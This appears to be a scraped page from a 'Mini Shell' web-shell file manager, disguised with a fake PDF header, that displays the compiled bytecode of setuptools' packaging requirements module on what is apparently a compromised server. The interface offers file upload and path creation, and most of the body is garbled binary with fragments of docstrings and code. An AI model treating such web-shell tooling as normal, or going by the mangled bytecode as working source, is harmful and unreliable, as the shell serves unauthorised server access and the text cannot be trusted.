%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/setuptools/_vendor/packaging/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/setuptools/_vendor/packaging/__pycache__/requirements.cpython-312.pyc

�


_�d����ddlZddlmZmZmZmZddlmZ	ddl
mZddlm
Z
mZddlmZGd�d	e�ZGd
�d�Zy)�N)�Any�List�Optional�Set�)�parse_requirement)�ParserSyntaxError)�Marker�_normalize_extra_values)�SpecifierSetc��eZdZdZy)�InvalidRequirementzJ
    An invalid requirement was found, users should refer to PEP 508.
    N)�__name__�
__module__�__qualname__�__doc__���K/usr/lib/python3/dist-packages/setuptools/_vendor/packaging/requirements.pyrrs��rrc�T�eZdZdZdeddfd�Zdefd�Zdefd�Zdefd�Z	d	e
defd
�Zy)�Requirementz�Parse a requirement.

    Parse a given requirement string into its parts, such as name, specifier,
    URL, and extras. Raises InvalidRequirement on a badly-formed requirement
    string.
    �requirement_string�returnNc�r�	t|�}|j|_|j
r�tjj|j
�}|jdk(r7tjj|�|j
k7rStd��|jr$|jr|js$|jstd|j
����|j
|_nd|_t|jr|jng�|_
t|j�|_d|_|j �Ct#j$t"�|_t'|j �|j _yy#t$r}tt|��|�d}~wwxYw)N�filezInvalid URL givenz
Invalid URL: )�_parse_requirementr	r�str�name�url�urllib�parse�urlparse�scheme�
urlunparse�netloc�set�extrasr�	specifier�markerr
�__new__r�_markers)�selfr�parsed�e�
parsed_urls     r�__init__zRequirement.__init__!sE��	4�'�(:�;�F� ����	��:�:����.�.�v�z�z�:�J�� � �F�*��<�<�*�*�:�6�&�*�*�D�,�-@�A�A� �'�'�J�,=�,=��%�%�j�.?�.?�(�=�����)E�F�F�&,�j�j�D�H��D�H� #�V�]�]�F�M�M�� K���'3�F�4D�4D�'E���(,����=�=�$� �.�.��0�D�K�#:�6�=�=�#I�D�K�K� �%��'!�	4�$�S��V�,�!�3��	4�s�F�	F6�F1�1F6c�
�|jg}|jr9djt|j��}|j	d|�d��|j
r$|j	t
|j
��|jr;|j	d|j���|jr|j	d�|jr|j	d|j���dj|�S)N�,�[�]z@ � z; �)	rr'�join�sorted�appendr(rrr))r,�parts�formatted_extrass   r�__str__zRequirement.__str__;s��� �I�I�;���;�;�"�x�x��t�{�{�(;�<���L�L�1�-�.�a�0�1��>�>��L�L��T�^�^�,�-��8�8��L�L�2�d�h�h�Z��)��{�{����S�!��;�;��L�L�2�d�k�k�]�+�,��w�w�u�~�rc��d|�d�S)Nz<Requirement('z')>r�r,s r�__repr__zRequirement.__repr__Os����v�S�)�)rc�V�t|jjt|�f�S�N)�hash�	__class__rrr>s r�__hash__zRequirement.__hash__Rs ���T�^�^�,�,�c�$�i�8�9�9r�otherc�8�t|t�stS|j|jk(xrj|j|jk(xrO|j
|j
k(xr4|j|jk(xr|j|jk(SrA)�
isinstancer�NotImplementedrr'r(rr))r,rEs  r�__eq__zRequirement.__eq__Us����%��-�!�!�
�I�I����#�
,����u�|�|�+�
,����%�/�/�1�
,����E�I�I�%�
,����u�|�|�+�	
r)
rrrrrr0r<r?�intrDr�boolrIrrrrrsT���J�3�J�4�J�4���(*�#�*�:�#�:�

�C�

�D�

rr)�urllib.parser �typingrrrr�_parserrr�
_tokenizerr	�markersr
r�
specifiersr�
ValueErrorrrrrr�<module>rSs4��
�+�+�<�)�4�$����K
�K
r

Zerion Mini Shell 1.0